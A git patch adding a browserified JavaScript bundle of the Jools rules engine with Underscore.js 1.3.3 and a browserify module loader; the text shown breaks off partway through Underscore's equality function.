From f622171eef7bf5c8d002a9e8bd0f6b2bc4472e2d Mon Sep 17 00:00:00 2001 From: qswain2 Date: Thu, 31 May 2012 00:57:22 -0400 Subject: [PATCH 001/225] added rowserfied jools js file so that jools can be used in the browser --- core/main/client/lib/browser_jools.js | 1526 +++++++++++++++++++++++++ 1 file changed, 1526 insertions(+) create mode 100644 core/main/client/lib/browser_jools.js diff --git a/core/main/client/lib/browser_jools.js b/core/main/client/lib/browser_jools.js new file mode 100644 index 000000000..9668bb23d --- /dev/null +++ b/core/main/client/lib/browser_jools.js @@ -0,0 +1,1526 @@ +var require = function (file, cwd) { + var resolved = require.resolve(file, cwd || '/'); + var mod = require.modules[resolved]; + if (!mod) throw new Error( + 'Failed to resolve module ' + file + ', tried ' + resolved + ); + var res = mod._cached ? mod._cached : mod(); + return res; +} + +require.paths = []; +require.modules = {}; +require.extensions = [".js",".coffee"]; + +require._core = { + 'assert': true, + 'events': true, + 'fs': true, + 'path': true, + 'vm': true +}; + +require.resolve = (function () { + return function (x, cwd) { + if (!cwd) cwd = '/'; + + if (require._core[x]) return x; + var path = require.modules.path(); + cwd = path.resolve('/', cwd); + var y = cwd || '/'; + + if (x.match(/^(?:\.\.?\/|\/)/)) { + var m = loadAsFileSync(path.resolve(y, x)) + || loadAsDirectorySync(path.resolve(y, x)); + if (m) return m; + } + + var n = loadNodeModulesSync(x, y); + if (n) return n; + + throw new Error("Cannot find module '" + x + "'"); + + function loadAsFileSync (x) { + if (require.modules[x]) { + return x; + } + + for (var i = 0; i < require.extensions.length; i++) { + var ext = require.extensions[i]; + if (require.modules[x + ext]) return x + ext; + } + } + + function loadAsDirectorySync (x) { + x = x.replace(/\/+$/, ''); + var pkgfile = x + '/package.json'; + if (require.modules[pkgfile]) { + var pkg = require.modules[pkgfile](); + var b = pkg.browserify; + if (typeof b === 'object' && b.main) { + var m = loadAsFileSync(path.resolve(x, b.main)); + if (m) return m; + } + else if (typeof b === 'string') { + var m = loadAsFileSync(path.resolve(x, b)); + if (m) return m; + } + else if (pkg.main) { + var m = loadAsFileSync(path.resolve(x, pkg.main)); + if (m) return m; + } + } + + return loadAsFileSync(x + '/index'); + } + + function loadNodeModulesSync (x, start) { + var dirs = nodeModulesPathsSync(start); + for (var i = 0; i < dirs.length; i++) { + var dir = dirs[i]; + var m = loadAsFileSync(dir + '/' + x); + if (m) return m; + var n = loadAsDirectorySync(dir + '/' + x); + if (n) return n; + } + + var m = loadAsFileSync(x); + if (m) return m; + } + + function nodeModulesPathsSync (start) { + var parts; + if (start === '/') parts = [ '' ]; + else parts = path.normalize(start).split('/'); + + var dirs = []; + for (var i = parts.length - 1; i >= 0; i--) { + if (parts[i] === 'node_modules') continue; + var dir = parts.slice(0, i + 1).join('/') + '/node_modules'; + dirs.push(dir); + } + + return dirs; + } + }; +})(); + +require.alias = function (from, to) { + var path = require.modules.path(); + var res = null; + try { + res = require.resolve(from + '/package.json', '/'); + } + catch (err) { + res = require.resolve(from, '/'); + } + var basedir = path.dirname(res); + + var keys = (Object.keys || function (obj) { + var res = []; + for (var key in obj) res.push(key) + return res; + })(require.modules); + + for (var i = 0; i < keys.length; i++) { + var key = keys[i]; + if (key.slice(0, basedir.length + 1) === basedir + '/') { + var f = key.slice(basedir.length); + require.modules[to + f] = require.modules[basedir + f]; + } + else if (key === basedir) { + require.modules[to] = require.modules[basedir]; + } + } +}; + +require.define = function (filename, fn) { + var dirname = require._core[filename] + ? '' + : require.modules.path().dirname(filename) + ; + + var require_ = function (file) { + return require(file, dirname) + }; + require_.resolve = function (name) { + return require.resolve(name, dirname); + }; + require_.modules = require.modules; + require_.define = require.define; + var module_ = { exports : {} }; + + require.modules[filename] = function () { + require.modules[filename]._cached = module_.exports; + fn.call( + module_.exports, + require_, + module_, + module_.exports, + dirname, + filename + ); + require.modules[filename]._cached = module_.exports; + return module_.exports; + }; +}; + +if (typeof process === 'undefined') process = {}; + +if (!process.nextTick) process.nextTick = (function () { + var queue = []; + var canPost = typeof window !== 'undefined' + && window.postMessage && window.addEventListener + ; + + if (canPost) { + window.addEventListener('message', function (ev) { + if (ev.source === window && ev.data === 'browserify-tick') { + ev.stopPropagation(); + if (queue.length > 0) { + var fn = queue.shift(); + fn(); + } + } + }, true); + } + + return function (fn) { + if (canPost) { + queue.push(fn); + window.postMessage('browserify-tick', '*'); + } + else setTimeout(fn, 0); + }; +})(); + +if (!process.title) process.title = 'browser'; + +if (!process.binding) process.binding = function (name) { + if (name === 'evals') return require('vm') + else throw new Error('No such module') +}; + +if (!process.cwd) process.cwd = function () { return '.' }; + +if (!process.env) process.env = {}; +if (!process.argv) process.argv = []; + +require.define("path", function (require, module, exports, __dirname, __filename) { +function filter (xs, fn) { + var res = []; + for (var i = 0; i < xs.length; i++) { + if (fn(xs[i], i, xs)) res.push(xs[i]); + } + return res; +} + +// resolves . and .. elements in a path array with directory names there +// must be no slashes, empty elements, or device names (c:\) in the array +// (so also no leading and trailing slashes - it does not distinguish +// relative and absolute paths) +function normalizeArray(parts, allowAboveRoot) { + // if the path tries to go above the root, `up` ends up > 0 + var up = 0; + for (var i = parts.length; i >= 0; i--) { + var last = parts[i]; + if (last == '.') { + parts.splice(i, 1); + } else if (last === '..') { + parts.splice(i, 1); + up++; + } else if (up) { + parts.splice(i, 1); + up--; + } + } + + // if the path is allowed to go above the root, restore leading ..s + if (allowAboveRoot) { + for (; up--; up) { + parts.unshift('..'); + } + } + + return parts; +} + +// Regex to split a filename into [*, dir, basename, ext] +// posix version +var splitPathRe = /^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/; + +// path.resolve([from ...], to) +// posix version +exports.resolve = function() { +var resolvedPath = '', + resolvedAbsolute = false; + +for (var i = arguments.length; i >= -1 && !resolvedAbsolute; i--) { + var path = (i >= 0) + ? arguments[i] + : process.cwd(); + + // Skip empty and invalid entries + if (typeof path !== 'string' || !path) { + continue; + } + + resolvedPath = path + '/' + resolvedPath; + resolvedAbsolute = path.charAt(0) === '/'; +} + +// At this point the path should be resolved to a full absolute path, but +// handle relative paths to be safe (might happen when process.cwd() fails) + +// Normalize the path +resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) { + return !!p; + }), !resolvedAbsolute).join('/'); + + return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.'; +}; + +// path.normalize(path) +// posix version +exports.normalize = function(path) { +var isAbsolute = path.charAt(0) === '/', + trailingSlash = path.slice(-1) === '/'; + +// Normalize the path +path = normalizeArray(filter(path.split('/'), function(p) { + return !!p; + }), !isAbsolute).join('/'); + + if (!path && !isAbsolute) { + path = '.'; + } + if (path && trailingSlash) { + path += '/'; + } + + return (isAbsolute ? '/' : '') + path; +}; + + +// posix version +exports.join = function() { + var paths = Array.prototype.slice.call(arguments, 0); + return exports.normalize(filter(paths, function(p, index) { + return p && typeof p === 'string'; + }).join('/')); +}; + + +exports.dirname = function(path) { + var dir = splitPathRe.exec(path)[1] || ''; + var isWindows = false; + if (!dir) { + // No dirname + return '.'; + } else if (dir.length === 1 || + (isWindows && dir.length <= 3 && dir.charAt(1) === ':')) { + // It is just a slash or a drive letter with a slash + return dir; + } else { + // It is a full dirname, strip trailing slash + return dir.substring(0, dir.length - 1); + } +}; + + +exports.basename = function(path, ext) { + var f = splitPathRe.exec(path)[2] || ''; + // TODO: make this comparison case-insensitive on windows? + if (ext && f.substr(-1 * ext.length) === ext) { + f = f.substr(0, f.length - ext.length); + } + return f; +}; + + +exports.extname = function(path) { + return splitPathRe.exec(path)[3] || ''; +}; + +}); + +require.define("/node_modules/jools/package.json", function (require, module, exports, __dirname, __filename) { +module.exports = {"main":"./lib/jools"} +}); + +require.define("/node_modules/jools/lib/jools.js", function (require, module, exports, __dirname, __filename) { +/** + * Module dependencies. + */ +var utils = require('./utils') + , _ = require('underscore'); + +/** + * version + */ +exports.version = '0.0.1'; + +/** + * Jools constructor. + * + * A rule consists of: + * - Descriptive name + * - One or more conditions + * - One or more consequences, which are fired when all conditions evaluate to true. + * + * @param {Object} rules + */ +function Jools(rules) { + this.rules = rules; +} + +/** + * execute rules with fact + * + * @param {Object} fact + */ +Jools.prototype.execute = function (fact) { + var self = this + , session = _.clone(fact) + , last_session = _.clone(fact) + , goal = false; + + while (!goal) { + var changes = false; + for (var x=0; x < this.rules.length; x++) { + var rule = this.rules[x] + , outcome; + + _.flatten([rule.condition]).forEach(function (cnd) { + cnd.__args = cnd.__args || utils.paramNames(cnd); + + if (outcome) { + outcome = outcome && cnd.apply({}, utils.paramsToArguments(session, cnd.__args)); + } else { + outcome = cnd.apply({}, utils.paramsToArguments(session, cnd.__args)); + } + }); + if (outcome) { + _.flatten([rule.consequence]).forEach(function (csq) { + csq.__args = csq.__args || utils.paramNames(csq); + csq.apply(session, utils.paramsToArguments(fact, csq.__args)); + if (!_.isEqual(last_session,session)) { + // Fire all rules again! + changes = true; + last_session = _.clone(session); + } + }); + } + if(changes) break; + } + if (!changes) goal = true; + } + return session; +}; + +module.exports = Jools; + + +}); + +require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) { +/** + * Returns an array of parameter names of the function f + * + * @param {Function} f + */ +module.exports.paramNames = function (f) { + var m = /function[^\(]*\(([^\)]*)\)/.exec(f.toString()); + if (!m) throw new TypeError("Invalid functions"); + + var params = []; + m[1].split(',').forEach(function (p) { + params.push(p.replace(/^\s*|\s*$/g, '')); + }); + + return params; +}; + +/** + * Creates an array of arguments + * + * @param {Object} obj + * @param {Array} params + */ +module.exports.paramsToArguments = function (obj, params) { + var args = []; + params.forEach(function (p) { + args.push(obj[p]); + }); + return args; +} + + +}); + +require.define("/node_modules/underscore/package.json", function (require, module, exports, __dirname, __filename) { +module.exports = {"main":"underscore.js"} +}); + +require.define("/node_modules/underscore/underscore.js", function (require, module, exports, __dirname, __filename) { +// Underscore.js 1.3.3 +// (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc. +// Underscore is freely distributable under the MIT license. +// Portions of Underscore are inspired or borrowed from Prototype, +// Oliver Steele's Functional, and John Resig's Micro-Templating. +// For all details and documentation: +// http://documentcloud.github.com/underscore + +(function() { + + // Baseline setup + // -------------- + + // Establish the root object, `window` in the browser, or `global` on the server. + var root = this; + + // Save the previous value of the `_` variable. + var previousUnderscore = root._; + + // Establish the object that gets returned to break out of a loop iteration. + var breaker = {}; + + // Save bytes in the minified (but not gzipped) version: + var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype; + + // Create quick reference variables for speed access to core prototypes. + var slice = ArrayProto.slice, + unshift = ArrayProto.unshift, + toString = ObjProto.toString, + hasOwnProperty = ObjProto.hasOwnProperty; + + // All **ECMAScript 5** native function implementations that we hope to use + // are declared here. + var + nativeForEach = ArrayProto.forEach, + nativeMap = ArrayProto.map, + nativeReduce = ArrayProto.reduce, + nativeReduceRight = ArrayProto.reduceRight, + nativeFilter = ArrayProto.filter, + nativeEvery = ArrayProto.every, + nativeSome = ArrayProto.some, + nativeIndexOf = ArrayProto.indexOf, + nativeLastIndexOf = ArrayProto.lastIndexOf, + nativeIsArray = Array.isArray, + nativeKeys = Object.keys, + nativeBind = FuncProto.bind; + + // Create a safe reference to the Underscore object for use below. + var _ = function(obj) { return new wrapper(obj); }; + + // Export the Underscore object for **Node.js**, with + // backwards-compatibility for the old `require()` API. If we're in + // the browser, add `_` as a global object via a string identifier, + // for Closure Compiler "advanced" mode. + if (typeof exports !== 'undefined') { + if (typeof module !== 'undefined' && module.exports) { + exports = module.exports = _; + } + exports._ = _; + } else { + root['_'] = _; + } + + // Current version. + _.VERSION = '1.3.3'; + + // Collection Functions + // -------------------- + + // The cornerstone, an `each` implementation, aka `forEach`. + // Handles objects with the built-in `forEach`, arrays, and raw objects. + // Delegates to **ECMAScript 5**'s native `forEach` if available. + var each = _.each = _.forEach = function(obj, iterator, context) { + if (obj == null) return; + if (nativeForEach && obj.forEach === nativeForEach) { + obj.forEach(iterator, context); + } else if (obj.length === +obj.length) { + for (var i = 0, l = obj.length; i < l; i++) { + if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return; + } + } else { + for (var key in obj) { + if (_.has(obj, key)) { + if (iterator.call(context, obj[key], key, obj) === breaker) return; + } + } + } + }; + + // Return the results of applying the iterator to each element. + // Delegates to **ECMAScript 5**'s native `map` if available. + _.map = _.collect = function(obj, iterator, context) { + var results = []; + if (obj == null) return results; + if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); + each(obj, function(value, index, list) { + results[results.length] = iterator.call(context, value, index, list); + }); + if (obj.length === +obj.length) results.length = obj.length; + return results; + }; + + // **Reduce** builds up a single result from a list of values, aka `inject`, + // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available. + _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) { + var initial = arguments.length > 2; + if (obj == null) obj = []; + if (nativeReduce && obj.reduce === nativeReduce) { + if (context) iterator = _.bind(iterator, context); + return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator); + } + each(obj, function(value, index, list) { + if (!initial) { + memo = value; + initial = true; + } else { + memo = iterator.call(context, memo, value, index, list); + } + }); + if (!initial) throw new TypeError('Reduce of empty array with no initial value'); + return memo; + }; + + // The right-associative version of reduce, also known as `foldr`. + // Delegates to **ECMAScript 5**'s native `reduceRight` if available. + _.reduceRight = _.foldr = function(obj, iterator, memo, context) { + var initial = arguments.length > 2; + if (obj == null) obj = []; + if (nativeReduceRight && obj.reduceRight === nativeReduceRight) { + if (context) iterator = _.bind(iterator, context); + return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator); + } + var reversed = _.toArray(obj).reverse(); + if (context && !initial) iterator = _.bind(iterator, context); + return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator); + }; + + // Return the first value which passes a truth test. Aliased as `detect`. + _.find = _.detect = function(obj, iterator, context) { + var result; + any(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) { + result = value; + return true; + } + }); + return result; + }; + + // Return all the elements that pass a truth test. + // Delegates to **ECMAScript 5**'s native `filter` if available. + // Aliased as `select`. + _.filter = _.select = function(obj, iterator, context) { + var results = []; + if (obj == null) return results; + if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context); + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Return all the elements for which a truth test fails. + _.reject = function(obj, iterator, context) { + var results = []; + if (obj == null) return results; + each(obj, function(value, index, list) { + if (!iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Determine whether all of the elements match a truth test. + // Delegates to **ECMAScript 5**'s native `every` if available. + // Aliased as `all`. + _.every = _.all = function(obj, iterator, context) { + var result = true; + if (obj == null) return result; + if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context); + each(obj, function(value, index, list) { + if (!(result = result && iterator.call(context, value, index, list))) return breaker; + }); + return !!result; + }; + + // Determine if at least one element in the object matches a truth test. + // Delegates to **ECMAScript 5**'s native `some` if available. + // Aliased as `any`. + var any = _.some = _.any = function(obj, iterator, context) { + iterator || (iterator = _.identity); + var result = false; + if (obj == null) return result; + if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context); + each(obj, function(value, index, list) { + if (result || (result = iterator.call(context, value, index, list))) return breaker; + }); + return !!result; + }; + + // Determine if a given value is included in the array or object using `===`. + // Aliased as `contains`. + _.include = _.contains = function(obj, target) { + var found = false; + if (obj == null) return found; + if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1; + found = any(obj, function(value) { + return value === target; + }); + return found; + }; + + // Invoke a method (with arguments) on every item in a collection. + _.invoke = function(obj, method) { + var args = slice.call(arguments, 2); + return _.map(obj, function(value) { + return (_.isFunction(method) ? method || value : value[method]).apply(value, args); + }); + }; + + // Convenience version of a common use case of `map`: fetching a property. + _.pluck = function(obj, key) { + return _.map(obj, function(value){ return value[key]; }); + }; + + // Return the maximum element or (element-based computation). + _.max = function(obj, iterator, context) { + if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.max.apply(Math, obj); + if (!iterator && _.isEmpty(obj)) return -Infinity; + var result = {computed : -Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed >= result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Return the minimum element (or element-based computation). + _.min = function(obj, iterator, context) { + if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.min.apply(Math, obj); + if (!iterator && _.isEmpty(obj)) return Infinity; + var result = {computed : Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed < result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Shuffle an array. + _.shuffle = function(obj) { + var shuffled = [], rand; + each(obj, function(value, index, list) { + rand = Math.floor(Math.random() * (index + 1)); + shuffled[index] = shuffled[rand]; + shuffled[rand] = value; + }); + return shuffled; + }; + + // Sort the object's values by a criterion produced by an iterator. + _.sortBy = function(obj, val, context) { + var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; }; + return _.pluck(_.map(obj, function(value, index, list) { + return { + value : value, + criteria : iterator.call(context, value, index, list) + }; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + if (a === void 0) return 1; + if (b === void 0) return -1; + return a < b ? -1 : a > b ? 1 : 0; + }), 'value'); + }; + + // Groups the object's values by a criterion. Pass either a string attribute + // to group by, or a function that returns the criterion. + _.groupBy = function(obj, val) { + var result = {}; + var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; }; + each(obj, function(value, index) { + var key = iterator(value, index); + (result[key] || (result[key] = [])).push(value); + }); + return result; + }; + + // Use a comparator function to figure out at what index an object should + // be inserted so as to maintain order. Uses binary search. + _.sortedIndex = function(array, obj, iterator) { + iterator || (iterator = _.identity); + var low = 0, high = array.length; + while (low < high) { + var mid = (low + high) >> 1; + iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; + } + return low; + }; + + // Safely convert anything iterable into a real, live array. + _.toArray = function(obj) { + if (!obj) return []; + if (_.isArray(obj)) return slice.call(obj); + if (_.isArguments(obj)) return slice.call(obj); + if (obj.toArray && _.isFunction(obj.toArray)) return obj.toArray(); + return _.values(obj); + }; + + // Return the number of elements in an object. + _.size = function(obj) { + return _.isArray(obj) ? obj.length : _.keys(obj).length; + }; + + // Array Functions + // --------------- + + // Get the first element of an array. Passing **n** will return the first N + // values in the array. Aliased as `head` and `take`. The **guard** check + // allows it to work with `_.map`. + _.first = _.head = _.take = function(array, n, guard) { + return (n != null) && !guard ? slice.call(array, 0, n) : array[0]; + }; + + // Returns everything but the last entry of the array. Especcialy useful on + // the arguments object. Passing **n** will return all the values in + // the array, excluding the last N. The **guard** check allows it to work with + // `_.map`. + _.initial = function(array, n, guard) { + return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n)); + }; + + // Get the last element of an array. Passing **n** will return the last N + // values in the array. The **guard** check allows it to work with `_.map`. + _.last = function(array, n, guard) { + if ((n != null) && !guard) { + return slice.call(array, Math.max(array.length - n, 0)); + } else { + return array[array.length - 1]; + } + }; + + // Returns everything but the first entry of the array. Aliased as `tail`. + // Especially useful on the arguments object. Passing an **index** will return + // the rest of the values in the array from that index onward. The **guard** + // check allows it to work with `_.map`. + _.rest = _.tail = function(array, index, guard) { + return slice.call(array, (index == null) || guard ? 1 : index); + }; + + // Trim out all falsy values from an array. + _.compact = function(array) { + return _.filter(array, function(value){ return !!value; }); + }; + + // Return a completely flattened version of an array. + _.flatten = function(array, shallow) { + return _.reduce(array, function(memo, value) { + if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value)); + memo[memo.length] = value; + return memo; + }, []); + }; + + // Return a version of the array that does not contain the specified value(s). + _.without = function(array) { + return _.difference(array, slice.call(arguments, 1)); + }; + + // Produce a duplicate-free version of the array. If the array has already + // been sorted, you have the option of using a faster algorithm. + // Aliased as `unique`. + _.uniq = _.unique = function(array, isSorted, iterator) { + var initial = iterator ? _.map(array, iterator) : array; + var results = []; + // The `isSorted` flag is irrelevant if the array only contains two elements. + if (array.length < 3) isSorted = true; + _.reduce(initial, function (memo, value, index) { + if (isSorted ? _.last(memo) !== value || !memo.length : !_.include(memo, value)) { + memo.push(value); + results.push(array[index]); + } + return memo; + }, []); + return results; + }; + + // Produce an array that contains the union: each distinct element from all of + // the passed-in arrays. + _.union = function() { + return _.uniq(_.flatten(arguments, true)); + }; + + // Produce an array that contains every item shared between all the + // passed-in arrays. (Aliased as "intersect" for back-compat.) + _.intersection = _.intersect = function(array) { + var rest = slice.call(arguments, 1); + return _.filter(_.uniq(array), function(item) { + return _.every(rest, function(other) { + return _.indexOf(other, item) >= 0; + }); + }); + }; + + // Take the difference between one array and a number of other arrays. + // Only the elements present in just the first array will remain. + _.difference = function(array) { + var rest = _.flatten(slice.call(arguments, 1), true); + return _.filter(array, function(value){ return !_.include(rest, value); }); + }; + + // Zip together multiple lists into a single array -- elements that share + // an index go together. + _.zip = function() { + var args = slice.call(arguments); + var length = _.max(_.pluck(args, 'length')); + var results = new Array(length); + for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i); + return results; + }; + + // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**), + // we need this function. Return the position of the first occurrence of an + // item in an array, or -1 if the item is not included in the array. + // Delegates to **ECMAScript 5**'s native `indexOf` if available. + // If the array is large and already in sort order, pass `true` + // for **isSorted** to use binary search. + _.indexOf = function(array, item, isSorted) { + if (array == null) return -1; + var i, l; + if (isSorted) { + i = _.sortedIndex(array, item); + return array[i] === item ? i : -1; + } + if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item); + for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i; + return -1; + }; + + // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available. + _.lastIndexOf = function(array, item) { + if (array == null) return -1; + if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item); + var i = array.length; + while (i--) if (i in array && array[i] === item) return i; + return -1; + }; + + // Generate an integer Array containing an arithmetic progression. A port of + // the native Python `range()` function. See + // [the Python documentation](http://docs.python.org/library/functions.html#range). + _.range = function(start, stop, step) { + if (arguments.length <= 1) { + stop = start || 0; + start = 0; + } + step = arguments[2] || 1; + + var len = Math.max(Math.ceil((stop - start) / step), 0); + var idx = 0; + var range = new Array(len); + + while(idx < len) { + range[idx++] = start; + start += step; + } + + return range; + }; + + // Function (ahem) Functions + // ------------------ + + // Reusable constructor function for prototype setting. + var ctor = function(){}; + + // Create a function bound to a given object (assigning `this`, and arguments, + // optionally). Binding with arguments is also known as `curry`. + // Delegates to **ECMAScript 5**'s native `Function.bind` if available. + // We check for `func.bind` first, to fail fast when `func` is undefined. + _.bind = function bind(func, context) { + var bound, args; + if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1)); + if (!_.isFunction(func)) throw new TypeError; + args = slice.call(arguments, 2); + return bound = function() { + if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments))); + ctor.prototype = func.prototype; + var self = new ctor; + var result = func.apply(self, args.concat(slice.call(arguments))); + if (Object(result) === result) return result; + return self; + }; + }; + + // Bind all of an object's methods to that object. Useful for ensuring that + // all callbacks defined on an object belong to it. + _.bindAll = function(obj) { + var funcs = slice.call(arguments, 1); + if (funcs.length == 0) funcs = _.functions(obj); + each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); }); + return obj; + }; + + // Memoize an expensive function by storing its results. + _.memoize = function(func, hasher) { + var memo = {}; + hasher || (hasher = _.identity); + return function() { + var key = hasher.apply(this, arguments); + return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments)); + }; + }; + + // Delays a function for the given number of milliseconds, and then calls + // it with the arguments supplied. + _.delay = function(func, wait) { + var args = slice.call(arguments, 2); + return setTimeout(function(){ return func.apply(null, args); }, wait); + }; + + // Defers a function, scheduling it to run after the current call stack has + // cleared. + _.defer = function(func) { + return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1))); + }; + + // Returns a function, that, when invoked, will only be triggered at most once + // during a given window of time. + _.throttle = function(func, wait) { + var context, args, timeout, throttling, more, result; + var whenDone = _.debounce(function(){ more = throttling = false; }, wait); + return function() { + context = this; args = arguments; + var later = function() { + timeout = null; + if (more) func.apply(context, args); + whenDone(); + }; + if (!timeout) timeout = setTimeout(later, wait); + if (throttling) { + more = true; + } else { + result = func.apply(context, args); + } + whenDone(); + throttling = true; + return result; + }; + }; + + // Returns a function, that, as long as it continues to be invoked, will not + // be triggered. The function will be called after it stops being called for + // N milliseconds. If `immediate` is passed, trigger the function on the + // leading edge, instead of the trailing. + _.debounce = function(func, wait, immediate) { + var timeout; + return function() { + var context = this, args = arguments; + var later = function() { + timeout = null; + if (!immediate) func.apply(context, args); + }; + if (immediate && !timeout) func.apply(context, args); + clearTimeout(timeout); + timeout = setTimeout(later, wait); + }; + }; + + // Returns a function that will be executed at most one time, no matter how + // often you call it. Useful for lazy initialization. + _.once = function(func) { + var ran = false, memo; + return function() { + if (ran) return memo; + ran = true; + return memo = func.apply(this, arguments); + }; + }; + + // Returns the first function passed as an argument to the second, + // allowing you to adjust arguments, run code before and after, and + // conditionally execute the original function. + _.wrap = function(func, wrapper) { + return function() { + var args = [func].concat(slice.call(arguments, 0)); + return wrapper.apply(this, args); + }; + }; + + // Returns a function that is the composition of a list of functions, each + // consuming the return value of the function that follows. + _.compose = function() { + var funcs = arguments; + return function() { + var args = arguments; + for (var i = funcs.length - 1; i >= 0; i--) { + args = [funcs[i].apply(this, args)]; + } + return args[0]; + }; + }; + + // Returns a function that will only be executed after being called N times. + _.after = function(times, func) { + if (times <= 0) return func(); + return function() { + if (--times < 1) { return func.apply(this, arguments); } + }; + }; + + // Object Functions + // ---------------- + + // Retrieve the names of an object's properties. + // Delegates to **ECMAScript 5**'s native `Object.keys` + _.keys = nativeKeys || function(obj) { + if (obj !== Object(obj)) throw new TypeError('Invalid object'); + var keys = []; + for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key; + return keys; + }; + + // Retrieve the values of an object's properties. + _.values = function(obj) { + return _.map(obj, _.identity); + }; + + // Return a sorted list of the function names available on the object. + // Aliased as `methods` + _.functions = _.methods = function(obj) { + var names = []; + for (var key in obj) { + if (_.isFunction(obj[key])) names.push(key); + } + return names.sort(); + }; + + // Extend a given object with all the properties in passed-in object(s). + _.extend = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) { + obj[prop] = source[prop]; + } + }); + return obj; + }; + + // Return a copy of the object only containing the whitelisted properties. + _.pick = function(obj) { + var result = {}; + each(_.flatten(slice.call(arguments, 1)), function(key) { + if (key in obj) result[key] = obj[key]; + }); + return result; + }; + + // Fill in a given object with default properties. + _.defaults = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) { + if (obj[prop] == null) obj[prop] = source[prop]; + } + }); + return obj; + }; + + // Create a (shallow-cloned) duplicate of an object. + _.clone = function(obj) { + if (!_.isObject(obj)) return obj; + return _.isArray(obj) ? obj.slice() : _.extend({}, obj); + }; + + // Invokes interceptor with the obj, and then returns obj. + // The primary purpose of this method is to "tap into" a method chain, in + // order to perform operations on intermediate results within the chain. + _.tap = function(obj, interceptor) { + interceptor(obj); + return obj; + }; + + // Internal recursive comparison function. + function eq(a, b, stack) { + // Identical objects are equal. `0 === -0`, but they aren't identical. + // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal. + if (a === b) return a !== 0 || 1 / a == 1 / b; + // A strict comparison is necessary because `null == undefined`. + if (a == null || b == null) return a === b; + // Unwrap any wrapped objects. + if (a._chain) a = a._wrapped; + if (b._chain) b = b._wrapped; + // Invoke a custom `isEqual` method if one is provided. + if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b); + if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a); + // Compare `[[Class]]` names. + var className = toString.call(a); + if (className != toString.call(b)) return false; + switch (className) { + // Strings, numbers, dates, and booleans are compared by value. + case '[object String]': + // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is + // equivalent to `new String("5")`. + return a == String(b); + case '[object Number]': + // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for + // other numeric values. + return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b); + case '[object Date]': + case '[object Boolean]': + // Coerce dates and booleans to numeric primitive values. Dates are compared by their + // millisecond representations. Note that invalid dates with millisecond representations + // of `NaN` are not equivalent. + return +a == +b; + // RegExps are compared by their source patterns and flags. + case '[object RegExp]': + return a.source == b.source && + a.global == b.global && + a.multiline == b.multiline && + a.ignoreCase == b.ignoreCase; + } + if (typeof a != 'object' || typeof b != 'object') return false; + // Assume equality for cyclic structures. The algorithm for detecting cyclic + // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. + var length = stack.length; + while (length--) { + // Linear search. Performance is inversely proportional to the number of + // unique nested structures. + if (stack[length] == a) return true; + } + // Add the first object to the stack of traversed objects. + stack.push(a); + var size = 0, result = true; + // Recursively compare objects and arrays. + if (className == '[object Array]') { + // Compare array lengths to determine if a deep comparison is necessary. + size = a.length; + result = size == b.length; + if (result) { + // Deep compare the contents, ignoring non-numeric properties. + while (size--) { + // Ensure commutative equality for sparse arrays. + if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break; + } + } + } else { + // Objects with different constructors are not equivalent. + if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false; + // Deep compare objects. + for (var key in a) { + if (_.has(a, key)) { + // Count the expected number of properties. + size++; + // Deep compare each member. + if (!(result = 